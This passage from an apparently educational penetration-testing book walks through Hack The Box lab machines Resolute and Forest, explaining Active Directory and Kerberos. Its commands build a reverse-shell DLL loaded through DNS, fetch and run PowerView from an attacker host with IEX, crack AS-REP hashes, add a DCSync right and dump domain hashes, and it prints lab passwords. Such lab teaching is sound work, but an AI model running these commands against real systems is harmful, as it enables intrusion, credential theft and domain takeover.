If we change directory to c:\PSTranscripts and do a dir, we won't see anything and we have
to look for hidden directories and files to be able to do that. Eventually we find a file in the
path c:\PSTranscripts\20191203

1 *Evil-WinRM* PS C:\PSTranscripts\20191203> ls -h
2 Directory: C:\PSTranscripts\20191203
3 Mode LastWriteTime Length Name
4 ---- ------------- ------ ----
5 -arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.2019

We can download this file using the download command and look at it on our box. In the
file, we notice a command that uses the user ryan with a password of
Serv3r4Admin4cc123!

cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!


hide01.ir
We can then use evil-winrm to login as user ryan. In the c:\Users\ryan\Desktop directory
there is a file called note.txt. After downloading it for our audit purposes, the contents reveal
that any changes that are made to the system will be reverted after 1 minute. Running
winPEAS again for the user ryan does not show any specific vulnerabilities apart from the
fact that he is part of the DnsAdmins group. We could have also seen this by using the
whoami /all command. We can get more information about this using Get-
ADGroupMember:

1 *Evil-WinRM* PS C:\Users\ryan\Desktop> Get-AdGroupMember -Identity DnsAdmi


2 distinguishedName : CN=Contractors,OU=Groups,DC=megabank,DC=local
3 name : Contractors
4 objectClass : group
5 objectGUID : 9f2ff7be-f805-491f-aff1-3653653874d7
6 SamAccountName : Contractors
7 SID : S-1-5-21-1392959593-3013219662-3596683436-1103
8 *Evil-WinRM* PS C:\Users\ryan\Desktop> Get-AdGroupMember -Identity Contrac
9 distinguishedName : CN=Ryan Bertrand,OU=Contractors,OU=MegaBank Users,
10 DC=megabank,DC=local
11 name : Ryan Bertrand
12 objectClass : user
13 objectGUID : 848c83e3-6cbe-4d3e-bacf-aa7bd37da691
14 SamAccountName : ryan
15 SID : S-1-5-21-1392959593-3013219662-3596683436-1105

DnsAdmins have the ability to install plugins to DNS that is running on the machine. A
plugin is a library that adds functionality to DNS and it is a Dynamic Link Library (DLL).
The easy way to do this is to create a reverse shell DLL using msfvenom, configure DNS to
use it, then stop and restart the DNS server (https://medium.com/techzap/dns-admin-
privesc-in-active-directory-ad-windows-ecc7ed5a21a2). The problem with this is that it will
cause the DNS server to hang and become unresponsive. On Hack The Box, that is sort of
ok because the system gets reset every minute, however, in a real assignment, you would
not want to cause a major part of an organization's infrastructure to become inoperable.
IppSec (https://www.youtube.com/watch?v=8KJebvmd1Fk&t=2130) shows a way of
writing a custom DLL that uses threads to avoid this issue and so is a better approach but
more complicated as the code is in C++ and you need the environment to build it. You can
find the code for this approach on GitHub
(https://github.com/oztechmuse/Code4HackTheBox/tree/master/Machines/Resolute/revs
hell-dns-dll/dns-plugindll-vcpp).
hide01.ir
The first thing to do is create a DLL with msfvenom. For the time being, this can't be a
meterpreter shell because of constraints on the DLL.

1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $msfvenom -a x64 -p windows/x64/shell_reverse_tcp \
3 LHOST=10.10.14.117 LPORT=6001 -f dll > revsh.dll
4 [-] No platform was selected, choosing Msf::Module::Platform::Windows
5 from the payload
6 No encoder specified, outputting raw payload
7 Payload size: 460 bytes
8 Final size of dll file: 5120 bytes

We can then start an SMB server using Impacket's smbserver.py to make the DLL
accessible to the machine:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $sudo smbserver.py share $(pwd)
3 [sudo] password for oztechmuse:
4 Impacket v0.9.23.dev1+20201209.133255.ac307704 -
5 Copyright 2020 SecureAuth Corporation
6 [*] Config file parsed
7 [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
8 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
9 [*] Config file parsed
10 We can then stop DNS, configure it to use the plugin and then start again:
11 *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns
12 SERVICE_NAME: dns
13 TYPE : 10 WIN32_OWN_PROCESS
14 STATE : 3 STOP_PENDING
15 (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
16 WIN32_EXIT_CODE : 0 (0x0)
17 SERVICE_EXIT_CODE : 0 (0x0)
18 CHECKPOINT : 0x1
19 WAIT_HINT : 0x7530
20 *Evil-WinRM* PS C:\Users\ryan\Desktop > dnscmd 127.0.0.1 `
21 /config /serverlevelplugindll \\10.10.14.117\share\revsh.dll
22 Registry property serverlevelplugindll successfully reset.
23 Command completed successfully.
24 *Evil-WinRM* PS C:\Users\ryan\Desktop > sc.exe start dns
25 SERVICE_NAME: dns
26 TYPE : 10 WIN32_OWN_PROCESS
27 STATE : 2 START_PENDING
28 (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
29
hide01.ir
WIN32_EXIT_CODE : 0 (0x0)
30 SERVICE_EXIT_CODE : 0 (0x0)
31 CHECKPOINT : 0x0
32 WAIT_HINT : 0x7d0
33 PID : 1096
34 FLAGS :

You will see a hit on the SMB server and then a reverse shell contacting your netcat listener:

1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.152] 59700
5 Microsoft Windows [Version 10.0.14393]
6 (c) 2016 Microsoft Corporation. All rights reserved.
7 C:\Windows\system32>whoami
8 nt authority\system
hide01.ir
Final thoughts on enumeration and
discovery
We have only scratched the surface in terms of the process of enumeration and discovery
for privilege escalation. However, starting with the checklist on Linux or Windows, it is a
good basis for being thorough in exploring all aspects of a machine to find exploitable
features, misconfigurations and other vulnerabilities. Although we have touched on Active
Directory in this chapter, it is a large subject and important because of the centralized
nature of the administration. A compromise of AD potentially means that an attacker has
control over all machines and users in an organization. This is what we will look at in more
detail in the next chapter.
hide01.ir

Chapter 9 Windows Active Directory Enumeration


and Privilege Escalation
hide01.ir
Enumeration and exploitation of Windows
active Directory
Enumerating and exploiting Active Directory environments is an important aspect for
penetration testing of any organization. Despite this, it is poorly understood and usually
reserved for advanced ethical hacking training. In this chapter, we will cover the basics of
AD and look at ways of enumerating and exploiting these environments. By the end of
this chapter, you should understand the different components of AD, how they work and
interoperate and a number of different paths of attack.

What is Active Directory?

At its core, Active Directory is a directory of objects which represent computers, users,
groups and devices. Each object has data associated with it that is stored according to a
schema that defines its attributes. A user for example will have attributes like SAM-Account-
Name and DisplayName, Home Directory, Account-Expires, etc.

The directory can be queried and updated through an LDAP (Lightweight Directory
Services) interface and so each object has a distinguished name (DN) that is made up of a
hierarchy of names such as common names (CN), organizational unit (OU), organization
(O), and domain component (DC). So a user in an AD directory may have a DN of:

cn=Rin Asogi,ou=Megabank IT,dc=megabank,dc=com

Each group of objects is organized in a domain. Domains can be grouped together as a tree
which in turn can be grouped as a forest. Domains can have different trust levels between
each other.

The default authentication protocol for Active Directory is Kerberos which replaced NTLM.
This is important from our perspective because a number of vulnerabilities in AD are based
on misconfiguration or actual design features of Kerberos.
hide01.ir
Before going into detail on Kerberos, we will finish off with other services Active Directory
provides. These are:

Certificate Services: This provides a public key infrastructure that can create, validate and
revoke public key certificates. The certificates can be used for encrypting files, emails and
network traffic.

Federation Services: This service supports single sign-on for web-based services and
network resources. Once a user has logged on once, they do not need to log on again when
they use a new service as long as it is in within a configurable time period.

Rights Management Services: This service controls access to documents such as emails,
Word or Excel documents and web pages. The service will determine what a user can do
with a document for example being able to read it but not print, copy, forward, or edit.

Kerberos Authentication

Kerberos consists of a Key Distribution Center which has an Authentication Server and a
Ticket Granting Server. The Authentication Server is responsible for mutual authentication
of a client and is involved in the first step of the process. The user sends a request to the
Authentication Server to get a Ticket Granting Ticket (TGT). The request will contain the
user's ID, the ID of the Ticket Granting Server, an IP address and a time to live (TTL).
Depending on the configuration, and we will see later why this is important, if pre-
authentication is required, the client will take the user's password and use it to encrypt a
time stamp. The Authentication Server looks up the users in AD to check if they are valid,
gets a saved NTLM hash of the user's password and uses that to decrypt the time stamp
that was sent through with the request. If the time stamp is valid (a reason why clocks on
the client and server need to be synchronized), the Authentication Server determines the
users to be pre-authenticated.

The KDC will send back to the user:

a session key that is encrypted with the user's password.


a Ticket Granting Ticket which contains the session key and the user's authorization
data. The TGT is then encrypted using the user's password.
hide01.ir
The user then will decrypt the session key and the TGT and store those for use. Note that if
there is no pre-authentication, the client would not be able to proceed at this point if the
password they used was incorrect because the decryption would fail.

When the user wants to make use of a service, the client software sends a request for a
service ticket to the KDC. The request consists of the session key, an encrypted
authenticator message, the TGT obtained previously and the identity of the service. The
KDC checks the authenticator message, decrypts the TGT with its own key and creates a
new session key for the client to use with the service. One copy of the service session key is
encrypted with the user's key, the second is added to the user's authorization data (the
Privilege Attribute Certificate PAC) and encrypts that as a ticket using the server's master
key. The KDC sends this back to the client. The client decrypts the service session key and
stores the ticket it has been sent.

Finally, when the client wants to communicate with the service, It sends the service ticket,
with an authenticator signed with the service session key to the service. The service
decrypts the ticket, obtains the session key from that and checks the authenticator
message. If that passes the service can optionally mutually authenticate itself by taking the
time from the user's authenticator message, encrypting it with the session key and sending
it back to the user.

Just to summarise, there are three secrets that are used in Kerberos authentication and
access to services:

1. The user password hash that is used by the user to authenticate requests to the KDC
2. Service password hash. Kerberos maintains a mapping between the Service Principle
Name (SPN) and the service account that runs the service. The password hash that is
used by the service is that of the service account.
3. The KDC password hash of the account krbtgt that is used to encrypt the TGT and sign
the PAC that is sent to the service.

When we come to compromises of hashes, it is possible to compromise all three under


particular circumstances which we will come to as we go through the process of
enumerating and attacking AD.
hide01.ir
Enumeration of Active Directory

We have already seen an example of enumeration of AD users using rpcclient. The more
direct way of enumerating objects in AD is to use the LDAP interface which was designed
exactly for this purpose. We can use ldapsearch as a tool to explore ldap and use an Onine
LDAP test server. This server requires us to authenticate to read the contents and this
process is known as doing a "bind". To authenticate, we specify the bind distinguished
name "cn=read-only-admin,dc=example,dc=com" and the password of "password". To list
all of the mathematicians in the directory, we can use the following ldapsearch:

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $ ldapsearch -h ldap.forumsys.com -D "cn=read-only-admin,dc=example,d
3 -w password -b "ou=mathematicians,dc=example,dc=com"
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <ou=mathematicians,dc=example,dc=com> with scope subtree
8 # filter: (objectclass=*)
9 # requesting: ALL
10 #
11 # mathematicians, example.com
12 dn: ou=mathematicians,dc=example,dc=com
13 uniqueMember: uid=euclid,dc=example,dc=com
14 uniqueMember: uid=riemann,dc=example,dc=com
15 uniqueMember: uid=euler,dc=example,dc=com
16 uniqueMember: uid=gauss,dc=example,dc=com
17 uniqueMember: uid=test,dc=example,dc=com
18 ou: mathematicians
19 cn: Mathematicians
20 objectClass: groupOfUniqueNames
21 objectClass: top
22 # search result
23 search: 2
24 result: 0 Success
25 # numResponses: 2
26 # numEntries: 1

Here we specified the base DN of "ou=mathematicians,dc=example,dc=com" which is the


group of users who are mathematicians. We can search for a specific mathematician
jmacy using the query:
1
hide01.ir
┌─[✗]─[rin@parrot]─[~/boxes/book]
2 └──╼ $ldapsearch -h ldap.forumsys.com -D "cn=read-only-admin,dc=example,dc
3 -w password -b "dc=example,dc=com" "(&(objectClass=person)(uid=jmacy))"
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <dc=example,dc=com> with scope subtree
8 # filter: (&(objectClass=person)(uid=jmacy))
9 # requesting: ALL
10 #
11 # jmacy, example.com
12 dn: uid=jmacy,dc=example,dc=com
13 uid: jmacy
14 telephoneNumber: 888-111-2222
15 sn: training
16 cn: FS Training
17 objectClass: inetOrgPerson
18 objectClass: organizationalPerson
19 objectClass: person
20 objectClass: top
21 mail: [email protected]
22 # search result
23 search: 2
24 result: 0 Success
25 # numResponses: 2
26 # numEntries: 1

Although specifying the objectClass in the query is superfluous, it illustrates doing a query
with 2 terms that are "anded" together. The symbol '|' represents "or" and "!" is "not". The
object that is returned is of multiple classes: inetOrgPerson, organizationalPerson, person
and top. Each of these classes has associated attributes that they contribute to the overall
object.

If we hadn't know that the base DN was dc=example,dc=com we could have queried this
with the query:

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $ldapsearch -h ldap.forumsys.com -D "cn=read-only-admin,dc=example,dc
3 -w password -s base namingContexts
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <> (default) with scope baseObject
8 # filter: (objectclass=*)
9
hide01.ir
# requesting: namingContexts
10 #
11 #
12 dn:
13 namingContexts: dc=example,dc=com
14 # search result
15 search: 2
16 result: 0 Success
17 # numResponses: 2
18 # numEntries: 1

We will see the use of this in our Hack The Box case study of Forest:
hide01.ir
Exercise: Enumerating and exploiting AD on
Forest
Running an nmap scan we find:

1 PORT STATE SERVICE VERSION


2 53/tcp open domain Simple DNS Plus
3 88/tcp open kerberos-sec Microsoft Windows Kerberos
4 (server time: 2021-01-12 01:10:07Z)
5 135/tcp open msrpc Microsoft Windows RPC
6 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
7 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
8 (workgroup: HTB)
9 464/tcp open kpasswd5?
10 636/tcp open tcpwrapped
11 3268/tcp open ldap Microsoft Windows Active Directory LDAP
12 (Domain: htb.local, Site: Default-First-Site-Name)
13 3269/tcp open tcpwrapped
14 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
15 |_http-server-header: Microsoft-HTTPAPI/2.0
16 |_http-title: Not Found
17 9389/tcp open mc-nmf .NET Message Framing
18 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
19 |_http-server-header: Microsoft-HTTPAPI/2.0
20 |_http-title: Not Found
21 49664/tcp open msrpc Microsoft Windows RPC
22 49665/tcp open msrpc Microsoft Windows RPC
23 49666/tcp open msrpc Microsoft Windows RPC
24 49667/tcp open msrpc Microsoft Windows RPC
25 49671/tcp open msrpc Microsoft Windows RPC
26 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
27 49677/tcp open msrpc Microsoft Windows RPC
28 49681/tcp open msrpc Microsoft Windows RPC
29 49697/tcp open msrpc Microsoft Windows RPC
30 Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
31 Host script results:
32 |_clock-skew: mean: 2h49m33s, deviation: 4h37m11s, median: 9m31s
33 | smb-os-discovery:
34 | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3
35 | Computer name: FOREST
36 | NetBIOS computer name: FOREST\x00
37 | Domain name: htb.local
38 | Forest name: htb.local
39 | FQDN: FOREST.htb.local
40 |_ System time: 2021-01-11T17:11:05-08:00
41
hide01.ir
| smb-security-mode:
42 | account_used: guest
43 | authentication_level: user
44 | challenge_response: supported
45 |_ message_signing: required
46 | smb2-security-mode:
47 | 2.02:
48 |_ Message signing enabled and required
49 | smb2-time:
50 | date: 2021-01-12T01:11:03
51 |_ start_date: 2021-01-12T01:05:12

The machine is likely running Windows Server 2016 Standard 6.3 and is likely an Active
Directory domain controller as it is running DNS, Kerberos, LDAP. smbmap and
crackmapexec do not return any information on shares. If we explore LDAP, we can first
confirm the namingContexts:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $ldapsearch -x -h forest.htb -s base namingContexts
3 # extended LDIF
4 #
5 # LDAPv3
6 # base <> (default) with scope baseObject
7 # filter: (objectclass=*)
8 # requesting: namingContexts
9 #
10 #
11 dn:
12 namingContexts: DC=htb,DC=local
13 namingContexts: CN=Configuration,DC=htb,DC=local
14 namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
15 namingContexts: DC=DomainDnsZones,DC=htb,DC=local
16 namingContexts: DC=ForestDnsZones,DC=htb,DC=local
17 # search result
18 search: 2
19 result: 0 Success
20 # numResponses: 2
21 # numEntries: 1

If we now do a general query we get a great deal of output. We can filter this to see what
classes of objects we are getting back and we see:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $ ldapsearch -x -h forest.htb \
3 -b dc=htb,dc=local | grep objectClass | sort -u
4 objectClass: applicationSettings
5 objectClass: builtinDomain
6 objectClass: classStore
7 objectClass: computer
8 objectClass: container
9 objectClass: dfsConfiguration
10 objectClass: dnsNode
11 objectClass: dnsZone
12 objectClass: domain
13 objectClass: domainDNS
14 objectClass: domainPolicy
15 objectClass: fileLinkTracking
16 objectClass: foreignSecurityPrincipal
17 objectClass: group
18 objectClass: infrastructureUpdate
19 objectClass: ipsecBase
20 objectClass: ipsecFilter
21 objectClass: ipsecISAKMPPolicy
22 objectClass: ipsecNegotiationPolicy
23 objectClass: ipsecNFA
24 objectClass: applicationSettings
25 objectClass: builtinDomain
26 objectClass: classStore
27 objectClass: computer
28 objectClass: container
29 objectClass: dfsConfiguration
30 objectClass: dnsNode
31 objectClass: dnsZone
32 objectClass: domain
33 objectClass: domainDNS
34 objectClass: domainPolicy
35 objectClass: fileLinkTracking
36 objectClass: foreignSecurityPrincipal
37 objectClass: group
38 objectClass: infrastructureUpdate
39 objectClass: ipsecBase
40 objectClass: ipsecFilter
41 objectClass: ipsecISAKMPPolicy
42 objectClass: ipsecNegotiationPolicy
43 objectClass: ipsecNFA
44 objectClass: ipsecPolicy
45 objectClass: leaf
46 objectClass: linkTrackObjectMoveTable
47 objectClass: lostAndFound
48 objectClass: msDFSR-Content
49 objectClass: msDFSR-ContentSet
50 objectClass: msDFSR-GlobalSettings
51 objectClass:
hide01.ir
msDFSR-LocalSettings
52 objectClass: msDFSR-Member
53 objectClass: msDFSR-ReplicationGroup
54 objectClass: msDFSR-Subscriber
55 objectClass: msDFSR-Subscription
56 objectClass: msDFSR-Topology
57 objectClass: msDS-PasswordSettingsContainer
58 objectClass: msDS-QuotaContainer
59 objectClass: msExchActiveSyncDevice
60 objectClass: msExchActiveSyncDevices
61 objectClass: msExchSystemMailbox
62 objectClass: msExchSystemObjectsContainer
63 objectClass: msImaging-PSPs
64 objectClass: msTPM-InformationObjectsContainer
65 objectClass: nTFRSSettings
66 objectClass: organizationalPerson
67 objectClass: organizationalUnit
68 objectClass: person
69 objectClass: rIDManager
70 objectClass: rIDSet
71 objectClass: rpcContainer
72 objectClass: samServer
73 objectClass: secret
74 objectClass: securityObject
75 objectClass: top
76 objectClass: user

We are interested in the users and so we can customize our search to just return those:

1 # numReferences: 3
2 ┌─[rin@parrot]─[~/boxes/Resolute]
3 └──╼ $ ldapsearch -x -h forest.htb -b dc=htb,dc=local "(objectClass=user)"
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <dc=htb,dc=local> with scope subtree
8 # filter: (objectClass=user)
9 # requesting: ALL
10 #
11 # Guest, Users, htb.local
12 dn: CN=Guest,CN=Users,DC=htb,DC=local
13 objectClass: top
14 objectClass: person
15 objectClass: organizationalPerson
16 objectClass: user
17 cn: Guest
18
hide01.ir
description: Built-in account for guest access to the computer/domain
19 distinguishedName: CN=Guest,CN=Users,DC=htb,DC=local
20 instanceType: 4
21 whenCreated: 20190918174557.0Z
22 whenChanged: 20190918174557.0Z
23 uSNCreated: 8197
24 memberOf: CN=Guests,CN=Builtin,DC=htb,DC=local
25 uSNChanged: 8197
26 name: Guest
27 objectGUID:: 3cHbrmUFAEi25kbTT5W9gA==
28 userAccountControl: 66082
29 badPwdCount: 0
30 codePage: 0
31 countryCode: 0
32 badPasswordTime: 0
33 lastLogoff: 0
34 lastLogon: 0
35 pwdLastSet: 0
36 primaryGroupID: 514
37 objectSid:: AQUAAAAAAAUVAAAALB4ltxV1shXFsPNP9QEAAA==
38 accountExpires: 9223372036854775807
39 logonCount: 0
40 sAMAccountName: Guest
41 sAMAccountType: 805306368
42 objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=htb,DC=local
43 isCriticalSystemObject: TRUE
44 dSCorePropagationData: 20210112032435.0Z
45 dSCorePropagationData: 20210112032435.0Z
46 dSCorePropagationData: 20210112032435.0Z
47 dSCorePropagationData: 20210112032435.0Z
48 dSCorePropagationData: 16010101000000.0Z
49 # DefaultAccount, Users, htb.local
50 dn: CN=DefaultAccount,CN=Users,DC=htb,DC=local
51 objectClass: top
52 objectClass: person
53 objectClass: organizationalPerson
54 objectClass: user
55 cn: DefaultAccount

I have only shown the first record here to give you an idea of what the record looks like. We
can extract the sAMAccountNames to create a user list by using grep for the
sAMAccountName and we get a list:
hide01.ir
1 sAMAccountName: sebastien
2 sAMAccountName: lucinda
3 sAMAccountName: andy
4 sAMAccountName: mark

One thing that is missed potentially here is that there is a Service Account svc-alfredo that
does not come up as a user through the LDAP query. What does display is:

1 # svc-alfresco, Service Accounts, htb.local


2 dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=loc
3 If we use rpcclient and do an enumdomusers, we do see the account:
4 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
5 └──╼ $rpcclient -U '' -N forest.htb
6 rpcclient $> enumdomusers
7 user:[Administrator] rid:[0x1f4]
8 user:[Guest] rid:[0x1f5]
9 user:[krbtgt] rid:[0x1f6]
10 user:[DefaultAccount] rid:[0x1f7]
11 user:[$331000-VK4ADACQNUCA] rid:[0x463]
12 <SNIP>
13 user:[sebastien] rid:[0x479]
14 user:[lucinda] rid:[0x47a]
15 user:[svc-alfresco] rid:[0x47b]
16 user:[andy] rid:[0x47e]
17 user:[mark] rid:[0x47f]
18 user:[santi] rid:[0x480]

At this point, if we search the internet for svc-alfresco, we find that it is likely that it belongs
to a product called Alfresco which is a content management system. If you dig through the
documentation, there is a section about configuring Alfresco with Active Directory and in
particular, it mentions the requirement that the service account needs to have the "Do not
require Kerberos preauthentication" enabled (https://docs.alfresco.com/5.1/tasks/auth-
kerberos-ADconfig.html). However, if you didn't see this then the next step would be
potentially something you could try in any event. What we saw earlier, is that if
preauthentication is not required, then any client can request a TGT from the KDC for any
user. When the KDC responds, the TGT is encrypted using the users password hash and so
it is then a matter of extracting the TGT and brute forcing it to reveal the password. This is
hide01.ir
known as AS-REP Roasting as the TGT is sent as part of an AS-REP message from the KDC
to the user.

We can run Impacket's GetNPUsers.py script to check each user in the user list we have:

1 ┌─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $GetNPUsers.py htb.local/ -usersfile users.txt
3 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
4 SecureAuth Corporation
5 [-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
6 [-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
7 [-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
8 [-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
9 [-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
10 [email protected]:6739c04fcfd386eda8158c40fa6e27ed$79f0

Note that htb.local is the domain name and for this to work, it needs to be in the hosts file.
We get a hit with svc-alfresco and we can take the returned result and crack it with John
The Ripper giving us a password s3rvice:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3 Using default input encoding: UTF-8
4 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23
5 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
6 Will run 2 OpenMP threads
7 Press 'q' or Ctrl-C to abort, almost any other key for status
8 s3rvice ([email protected])
9 1g 0:00:00:05 DONE (2021-01-12 14:18) 0.1934g/s 790282p/s 790282c/s
10 790282C/s s401447401447401447..s3r2s1
11 Use the "--show" option to display all of the cracked passwords reliably
12 Session completed

AS-REP Roasting is related to another attack called Kerberoasting. Kerberoasting requires a


username and password of a user on the domain. With the credentials, the user can request
a service ticket from any service. It doesn't matter whether the user is supposed to have
access to this service because the KDC does not decide this, it is the role of the service to
decide if the user is allowed to access it or not. Kerberoasting depends on being able to
hide01.ir
look up the service principal names (SPNs) of the service and requesting service tickets for
them. We are going to be looking at this shortly but first we can use evil-winrm with this
account to get onto the machine and find the user flag file user.txt in the svc-alfresco
Desktop directory.

Back on our machine, we are going to run a tool called Bloodhound to map the
relationships of the users on the domain graphically. There are a number of tools that will
do the ingesting of data from the domain. On Windows, you can use SharpHound
(https://github.com/BloodHoundAD/SharpHound3) but as we are on Parrot OS, we can
simply install a Python version using pip:

To install Bloodhound with pip:

pip3 install bloodhound

To run this, we specify the domain local.htb and point to forest.htb (using its IP address) as
the name server:

1 ┌─[rin@parrot]─[~]
2 └──╼ $bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.129
3 INFO: Found AD domain: htb.local
4 INFO: Connecting to LDAP server: FOREST.htb.local
5 INFO: Found 1 domains
6 INFO: Found 1 domains in the forest
7 INFO: Found 2 computers
8 INFO: Found 31 users
9 INFO: Connecting to LDAP server: FOREST.htb.local
10 INFO: Found 75 groups
11 INFO: Found 0 trusts
12 INFO: Starting computer enumeration with 10 workers
13 INFO: Querying computer: EXCH01.htb.local
14 INFO: Querying computer: FOREST.htb.local
15 INFO: Done in 01M 04S

To install the visual component is slightly more complicated and there are full instructions
in the docs page (https://bloodhound.readthedocs.io/en/latest/installation/linux.html).
hide01.ir
When you have Bloodhound running, you can drop the .json files generated in the previous
step onto the main window and it will import them. In the search box, type svc-
[email protected] and select it from the item that appears. In the node info tab below, you
can click on the number 9 next to the unrolled group membership to get the layout shown in
Figure 8-1

Chart, line chart

Description automatically generated

Graph of group memberships of svc-alfresco account in htb.local domain on Forest

You can right click the node with svc-alfresco and mark it as "owned". From the graph, we
can see that svc-alfresco is a member of the "Service Accounts" group which in turn is a
member of "Privileged IT Accounts" which is part of "Account Operators". The last group
has a diamond icon on it which shows that it is a high value group. According to the
documentation (https://docs.microsoft.com/en-us/windows/security/identity-
protection/access-control/active-directory-security-groups#bkmk-accountoperators) this
account can create and manage accounts but cannot manage the Administrator account or
membership of groups such as Administrators, Server Operators, Account Operators,
Backup Operators, or Print Operators.
hide01.ir
In the Analysis tab in Bloodhound, there are a number of pre-built queries that we can run. If
we run the query "Shortest Path to High Vale Targets" we find a link between the group
"Account Operators" to the group "Exchange Windows Permissions" which has WriteDacl
permissions over the htb.local domain (Figure 8-2).

Partial display of results from "Shortest Path to High Value Targets" in Forest

The WriteDACL permission means that we can change the permissions (Access Control List
ACL) of a user to give them permissions that will allow us to exploit AD. The main path to
do this is a DCSync attack which involves creating a user and then give the user Active
Directory Replication rights (Replicating Directory Changes All and Replicating Directory
hide01.ir
Changes). Normally, replication is responsible for keeping backup copies of the domain
synchronized.

To carry out this attack, we are going to use PowerView which can be obtained by cloning
the PowerSploit repository from GitHub
(https://github.com/PowerShellMafia/PowerSploit.git). We first create a user and then add
them to the Exchange Windows Permissions group.

1 *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user rin password123!


2 /add /domain
3 The command completed successfully.
4 *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group `
5 "Exchange Windows Permissions" rin /add
6 The command completed successfully.
7 *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup `
8 "Remote Management Users" rin /add
9 The command completed successfully.

We can now download PowerView.ps1 and add the DCSync ACLs:

1 > IEX(New-Object Net.WebClient).downloadString(


2 "http://10.10.14.117:8000/PowerView.ps1")
3 > $password = convertto-securestring "password123!" -asplain -force
4 > $creds = New-Object System.Management.Automation.PSCredential(
5 "htb\rin", $password)
6 > Add-ObjectACL -PrincipalIdentity rin -Credential $cred -Rights DCSync

Once that is done, we can use the Impacket tool secretsdump.py to do the AD replication
and obtain all of the password hashes:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $secretsdump.py htb.local/[email protected]
3 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
4 SecureAuth Corporation
5 Password:
6 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_acces
7 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
8
hide01.ir
[*] Using the DRSUAPI method to get NTDS.DIT secrets
9 htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:
10 32693b11e6aa90eb43d32c72a07ceea6:::
11 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
12 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632
13 <SNIP>

With the hash, we can again use evil-winrm to remote onto the machine as Administrator
and use their hash

1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $evil-winrm -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 \
3 -i forest.htb
4 Evil-WinRM shell v2.3
5 Info: Establishing connection to remote endpoint
6 *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
7 htb\administrator

Before we leave this box, as part of the DCSync attack, we obtained the golden ticket,
namely the hash for the user krbtgt. We can use this to create TGT tickets for any user
using the Impacket tools ticketer.py. This tool requires the domain SID which we can get
using the Get-ADDomain PowerShell command.

1 *Evil-WinRM* PS C:\Users\rin\Documents> Get-ADDomain


2 AllowedDNSSuffixes : {}
3 ChildDomains : {}
4 ComputersContainer : CN=Computers,DC=htb,DC=local
5 DeletedObjectsContainer : CN=Deleted Objects,DC=htb,DC=local
6 DistinguishedName : DC=htb,DC=local
7 DNSRoot : htb.local
8 DomainControllersContainer : OU=Domain Controllers,DC=htb,DC=local
9 DomainMode : Windows2016Domain
10 DomainSID : S-1-5-21-3072663084-364016917-1341370565
11 ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=htb,D
12 Forest : htb.local
13 InfrastructureMaster : FOREST.htb.local
14 LastLogonReplicationInterval :
